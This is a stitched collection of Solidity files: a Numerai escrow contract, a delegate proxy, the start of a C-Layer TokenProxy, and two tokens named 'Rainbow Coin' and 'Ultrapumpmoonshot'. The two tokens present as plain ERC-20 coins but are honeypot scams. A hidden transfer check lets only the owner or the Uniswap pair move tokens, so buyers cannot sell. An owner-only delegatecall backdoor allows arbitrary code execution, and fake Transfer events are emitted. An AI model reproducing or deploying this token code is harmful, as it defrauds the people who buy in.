if (stakeAmount != uint256(0)) {
require(stakeAmount == uint256(uint128(stakeAmount)), "stakeAmount is too large");
_data.stakeAmount = uint128(stakeAmount);
}
// set countdown length
Countdown._setLength(escrowCountdown);
// set metadata if defined
if (metadata.length != 0) {
EventMetadata._setMetadata(metadata);
}
// set agreementParams if defined
if (agreementParams.length != 0) {
(
uint256 ratio,
Griefing.RatioType ratioType,
uint256 agreementCountdown
) = abi.decode(agreementParams, (uint256, Griefing.RatioType, uint256));
require(ratio == uint256(uint120(ratio)), "ratio out of bounds");
require(agreementCountdown == uint256(uint128(agreementCountdown)), "agreementCountdown out of bounds");
_data.agreementParams = AgreementParams(uint120(ratio), ratioType, uint128(agreementCountdown));
}
// emit event
emit Initialized(operator, buyer, seller, paymentAmount, stakeAmount, escrowCountdown, metadata, agreementParams);
}
/// @notice Emit metadata event
/// @dev Access Control: operator
/// State Machine: always
/// @param metadata Data (any format) to emit as event
function setMetadata(bytes memory metadata) public {
// restrict access
require(Operated.isOperator(msg.sender), "only operator");
// update metadata
EventMetadata._setMetadata(metadata);
}
/// @notice Deposit Stake in NMR and set seller address
/// - tokens (ERC-20) are transfered from the caller and requires approval of this contract for appropriate amount
/// - if buyer already deposited the payment, finalize the escrow
/// @dev Access Control: anyone
/// State Machine: before finalize() OR before cancel()
function depositAndSetSeller(address seller) public {
// restrict access control
require(_data.seller == address(0), "seller already set");
// set seller
_data.seller = seller;
// deposit stake
_depositStake();
}
/// @notice Deposit Stake in NMR
/// - tokens (ERC-20) are transfered from the caller and requires approval of this contract for appropriate amount
/// - if buyer already deposited the payment, finalize the escrow
/// @dev Access Control: buyer OR operator
/// State Machine: before finalize() OR before cancel()
function depositStake() public {
// restrict access control
require(_data.seller != address(0), "seller not yet set");
require(isSeller(msg.sender) || Operated.isOperator(msg.sender), "only seller or operator");
// deposit stake
_depositStake();
}
function _depositStake() private {
// restrict state machine
require(isOpen() || onlyPaymentDeposited(), "can only deposit stake once");
// declare storage variables in memory
address seller = _data.seller;
uint256 stakeAmount = uint256(_data.stakeAmount);
// Add the stake amount
if (stakeAmount != uint256(0)) {
Staking._addStake(seller, msg.sender, stakeAmount);
}
// emit event
emit StakeDeposited(seller, stakeAmount);
// If payment is deposited, finalize the escrow
if (onlyPaymentDeposited()) {
_data.status = EscrowStatus.isDeposited;
finalize();
} else {
_data.status = EscrowStatus.onlyStakeDeposited;
}
}
/// @notice Deposit Payment in NMR and set buyer address
/// - tokens (ERC-20) are transfered from the caller and requires approval of this contract for appropriate amount
/// - if seller already deposited the stake, start the finalization countdown
/// @dev Access Control: buyer OR operator
/// State Machine: before finalize() OR before cancel()
function depositAndSetBuyer(address buyer) public {
// restrict access control
require(_data.buyer == address(0), "buyer already set");
// set buyer
_data.buyer = buyer;
// deposit payment
_depositPayment();
}
/// @notice Deposit Payment in NMR
/// - tokens (ERC-20) are transfered from the caller and requires approval of this contract for appropriate amount
/// - if seller already deposited the stake, start the finalization countdown
/// @dev Access Control: buyer OR operator
/// State Machine: before finalize() OR before cancel()
function depositPayment() public {
// restrict access control
require(_data.buyer != address(0), "buyer not yet set");
require(isBuyer(msg.sender) || Operated.isOperator(msg.sender), "only buyer or operator");
// deposit payment
_depositPayment();
}
function _depositPayment() private {
// restrict state machine
require(isOpen() || onlyStakeDeposited(), "can only deposit payment once");
// declare storage variables in memory
address buyer = _data.buyer;
uint256 paymentAmount = uint256(_data.paymentAmount);
// Add the payment as a stake
if (paymentAmount != uint256(0)) {
Staking._addStake(buyer, msg.sender, paymentAmount);
}
// emit event
emit PaymentDeposited(buyer, paymentAmount);
// If stake is deposited, start countdown for seller to finalize
if (onlyStakeDeposited()) {
_data.status = EscrowStatus.isDeposited;
Countdown._start();
} else {
_data.status = EscrowStatus.onlyPaymentDeposited;
}
}
/// @notice Finalize escrow and execute completion script
/// - create the agreement
/// - transfer deposited stake and payment to agreement
/// - start agreement countdown
/// - disable agreement operator
/// @dev Access Control: seller OR operator
/// State Machine: after depositStake() AND after depositPayment()
function finalize() public {
// restrict access control
require(isSeller(msg.sender) || Operated.isOperator(msg.sender), "only seller or operator");
// restrict state machine
require(isDeposited(), "only after deposit");
// create the agreement
address agreement;
{
// get the agreement factory address
address escrowFactory = Template.getFactory();
address escrowRegistry = iFactory(escrowFactory).getInstanceRegistry();
address agreementFactory = abi.decode(iRegistry(escrowRegistry).getFactoryData(escrowFactory), (address));
// encode initialization function
bytes memory initCalldata = abi.encodeWithSignature(
'initialize(address,address,address,uint256,uint8,uint256,bytes)',
address(this),
_data.seller,
_data.buyer,
uint256(_data.agreementParams.ratio),
_data.agreementParams.ratioType,
uint256(_data.agreementParams.countdownLength),
bytes("")
);
// deploy and initialize agreement contract
agreement = iFactory(agreementFactory).create(initCalldata);
}
// transfer stake and payment to the agreement
uint256 totalStake;
{
uint256 paymentAmount = Deposit._clearDeposit(_data.buyer);
uint256 stakeAmount = Deposit._clearDeposit(_data.seller);
totalStake = paymentAmount.add(stakeAmount);
}
if (totalStake > 0) {
require(IERC20(BurnNMR.getToken()).approve(agreement, totalStake), "token approval failed");
CountdownGriefing(agreement).increaseStake(totalStake);
}
// start agreement countdown
CountdownGriefing(agreement).startCountdown();
// transfer operator
address operator = Operated.getOperator();
if (operator != address(0)) {
CountdownGriefing(agreement).transferOperator(operator);
} else {
CountdownGriefing(agreement).renounceOperator();
}
// update status
_data.status = EscrowStatus.isFinalized;
// delete storage
delete _data.paymentAmount;
delete _data.stakeAmount;
delete _data.agreementParams;
// emit event
emit Finalized(agreement);
}
/// @notice Submit data to the buyer
/// @dev Access Control: seller OR operator
/// State Machine: after finalize()
/// @param data Data (any format) to submit to the buyer
function submitData(bytes memory data) public {
// restrict access control
require(isSeller(msg.sender) || Operated.isOperator(msg.sender), "only seller or operator");
// restrict state machine
require(isFinalized(), "only after finalized");
// emit event
emit DataSubmitted(data);
}
/// @notice Cancel escrow because no interested counterparty
/// - return deposit to caller
/// - close escrow
/// @dev Access Control: seller OR buyer OR operator
/// State Machine: before depositStake() OR before depositPayment()
function cancel() public {
// restrict access control
require(isSeller(msg.sender) || isBuyer(msg.sender) || Operated.isOperator(msg.sender), "only seller or buyer or operator");
// restrict state machine
require(isOpen() || onlyStakeDeposited() || onlyPaymentDeposited(), "only before deposits are completed");
// cancel escrow and return deposits
_cancel();
}
/// @notice Cancel escrow if seller does not finalize
/// - return stake to seller
/// - return payment to buyer
/// - close escrow
/// @dev Access Control: buyer OR operator
/// State Machine: after depositStake() AND after depositPayment() AND after Countdown.isOver()
function timeout() public {
// restrict access control
require(isBuyer(msg.sender) || Operated.isOperator(msg.sender), "only buyer or operator");
// restrict state machine
require(isDeposited() && Countdown.isOver(), "only after countdown ended");
// cancel escrow and return deposits
_cancel();
}
function _cancel() private {
// declare storage variables in memory
address seller = _data.seller;
address buyer = _data.buyer;
// return stake to seller
if (Staking.getStake(seller) != 0) {
Staking._takeFullStake(seller, seller);
}
// return payment to buyer
if (Staking.getStake(buyer) != 0) {
Staking._takeFullStake(buyer, buyer);
}
// update status
_data.status = EscrowStatus.isCancelled;
// delete storage
delete _data.paymentAmount;
delete _data.stakeAmount;
delete _data.agreementParams;
// emit event
emit Cancelled();
}
/// @notice Called by the operator to transfer control to new operator
/// @dev Access Control: operator
/// State Machine: anytime
/// @param operator Address of the new operator
function transferOperator(address operator) public {
// restrict access
require(Operated.isOperator(msg.sender), "only operator");
// transfer operator
Operated._transferOperator(operator);
}
/// @notice Called by the operator to renounce control
/// @dev Access Control: operator
/// State Machine: anytime
function renounceOperator() public {
// restrict access
require(Operated.isOperator(msg.sender), "only operator");
// renounce operator
Operated._renounceOperator();
}
/// View functions
/// @notice Get the address of the buyer (if set)
/// @return buyer Buyer account address
function getBuyer() public view returns (address buyer) {
return _data.buyer;
}
/// @notice Validate if the address matches the stored buyer address
/// @param caller Address to validate
/// @return validity True if matching address
function isBuyer(address caller) internal view returns (bool validity) {
return caller == getBuyer();
}
/// @notice Get the address of the seller (if set)
/// @return seller Seller account address
function getSeller() public view returns (address seller) {
return _data.seller;
}
/// @notice Validate if the address matches the stored seller address
/// @param caller Address to validate
/// @return validity True if matching address
function isSeller(address caller) internal view returns (bool validity) {
return caller == getSeller();
}
/// @notice Get the data in storage
/// @return uint128 paymentAmount set in initialization
/// @return uint128 stakeAmount set in initialization
/// @return uint120 ratio used for initialization of agreement on completion
/// @return Griefing.RatioType ratioType used for initialization of agreement on completion
/// @return uint128 countdownLength used for initialization of agreement on completion
function getData() public view returns (
uint128 paymentAmount,
uint128 stakeAmount,
uint120 ratio,
Griefing.RatioType ratioType,
uint128 countdownLength
) {
return (
_data.paymentAmount,
_data.stakeAmount,
_data.agreementParams.ratio,
_data.agreementParams.ratioType,
_data.agreementParams.countdownLength
);
}
enum EscrowStatus { isOpen, onlyStakeDeposited, onlyPaymentDeposited, isDeposited, isFinalized, isCancelled }
/// @notice Return the status of the state machine
/// @return EscrowStatus status from of the following states:
/// - isOpen: initialized but no deposits made
/// - onlyStakeDeposited: only stake deposit completed
/// - onlyPaymentDeposited: only payment deposit completed
/// - isDeposited: both payment and stake deposit is completed
/// - isFinalized: the escrow completed successfully
/// - isCancelled: the escrow was cancelled
function getEscrowStatus() public view returns (EscrowStatus status) {
return _data.status;
}
function isOpen() internal view returns (bool validity) {
return getEscrowStatus() == EscrowStatus.isOpen;
}
function onlyStakeDeposited() internal view returns (bool validity) {
return getEscrowStatus() == EscrowStatus.onlyStakeDeposited;
}
function onlyPaymentDeposited() internal view returns (bool validity) {
return getEscrowStatus() == EscrowStatus.onlyPaymentDeposited;
}
function isDeposited() internal view returns (bool validity) {
return getEscrowStatus() == EscrowStatus.isDeposited;
}
function isFinalized() internal view returns (bool validity) {
return getEscrowStatus() == EscrowStatus.isFinalized;
}
function isCancelled() internal view returns (bool validity) {
return getEscrowStatus() == EscrowStatus.isCancelled;
}
}
/// @title CountdownGriefingEscrow_Factory
/// @author Stephane Gosselin (@thegostep) for Numerai Inc
/// @dev Security contact: [email protected]
/// @dev Version: 1.2.0
/// @notice This factory is used to deploy instances of the template contract.
/// New instances can be created with the following functions:
/// `function create(bytes calldata initData) external returns (address instance);`
/// `function createSalty(bytes calldata initData, bytes32 salt) external returns (address instance);`
/// The `initData` parameter is ABI encoded calldata to use on the initialize function of the instance after creation.
/// The optional `salt` parameter can be used to deterministically generate the instance address instead of using a nonce.
/// See documentation of the template for additional details on initialization parameters.
/// The template contract address can be optained with the following function:
/// `function getTemplate() external view returns (address template);`
contract CountdownGriefingEscrow_Factory is Factory {
constructor(address instanceRegistry, address templateContract) public {
CountdownGriefingEscrow template;
// set instance type
bytes4 instanceType = bytes4(keccak256(bytes('Escrow')));
// set initSelector
bytes4 initSelector = template.initialize.selector;
// initialize factory params
Factory._initialize(instanceRegistry, templateContract, instanceType, initSelector);
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
Rainbow Coin
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract RainbowCoin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
{{
"language": "Solidity",
"sources": {
"contracts/libraries/Proxy__L1LiquidityPool.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.7.6;\n\n/**\n * @title Lib_ResolvedDelegateProxy\n */\ncontract Proxy__L1LiquidityPoolArguments {\n\n /*************\n * Variables *\n *************/\n\n mapping(string => address) public addressManager;\n\n /***************\n * Constructor *\n ***************/\n\n /**\n * @param _proxyTarget Address of the target contract.\n */\n constructor(\n address _proxyTarget\n ) {\n addressManager[\"proxyTarget\"] = _proxyTarget;\n addressManager[\"proxyOwner\"] = msg.sender;\n }\n\n /**********************\n * Function Modifiers *\n **********************/\n\n modifier proxyCallIfNotOwner() {\n if (msg.sender == addressManager[\"proxyOwner\"]) {\n _;\n } else {\n // This WILL halt the call frame on completion.\n _doProxyCall();\n }\n }\n\n /*********************\n * Fallback Function *\n *********************/\n\n fallback()\n external\n payable\n {\n // Proxy call by default.\n _doProxyCall();\n }\n\n /********************\n * Public Functions *\n ********************/\n\n /**\n * Update target\n *\n * @param _proxyTarget address of proxy target contract\n */\n function setTargetContract(\n address _proxyTarget\n )\n proxyCallIfNotOwner\n external\n {\n addressManager[\"proxyTarget\"] = _proxyTarget;\n }\n\n /**\n * Transfer owner\n */\n function transferProxyOwnership()\n proxyCallIfNotOwner\n external\n {\n addressManager[\"proxyOwner\"] = msg.sender;\n }\n\n /**\n * Performs the proxy call via a delegatecall.\n */\n function _doProxyCall()\n internal\n {\n\n require(\n addressManager[\"proxyOwner\"] != address(0),\n \"Target address must be initialized.\"\n );\n\n (bool success, bytes memory returndata) = addressManager[\"proxyTarget\"].delegatecall(msg.data);\n\n if (success == true) {\n assembly {\n return(add(returndata, 0x20), mload(returndata))\n }\n } else {\n assembly {\n revert(add(returndata, 0x20), mload(returndata))\n }\n }\n }\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"abi"
]
}
},
"metadata": {
"useLiteralContent": true
},
"libraries": {}
}
}}
|
DC1
|
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Ultrapumpmoonshot {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 0;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
/**************************************************************************
* ____ _
* / ___| | | __ _ _ _ ___ _ __
* | | _____ | | / _` || | | | / _ \| '__|
* | |___|_____|| |___| (_| || |_| || __/| |
* \____| |_____|\__,_| \__, | \___||_|
* |___/
*
**************************************************************************
*
* The MIT License (MIT)
*
* Copyright (c) 2016-2019 Cyril Lapinte
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sublicense, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
**************************************************************************
*
* Flatten Contract: TokenProxy
*
* Git Commit:
* https://github.com/c-layer/contracts/tree/43925ba24cc22f42d0ff7711d0e169e8c2a0e09f
*
**************************************************************************/
// File: contracts/abstract/Storage.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title Storage
*
* @author Cyril Lapinte - <[email protected]>
*
* Error messages
**/
contract Storage {
mapping(address => address) public proxyDelegates;
address[] public delegates;
}
// File: contracts/util/governance/Ownable.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*
* Error messages
* OW01: Only accessible as owner
* OW02: New owner must be non null
